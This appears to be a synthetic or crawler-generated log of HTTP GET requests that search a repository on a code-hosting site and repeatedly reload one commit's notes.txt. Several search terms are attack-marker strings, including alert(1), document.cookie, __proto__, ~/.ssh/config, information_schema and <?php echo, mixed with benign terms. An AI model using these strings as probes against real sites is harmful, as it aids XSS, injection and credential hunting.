{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
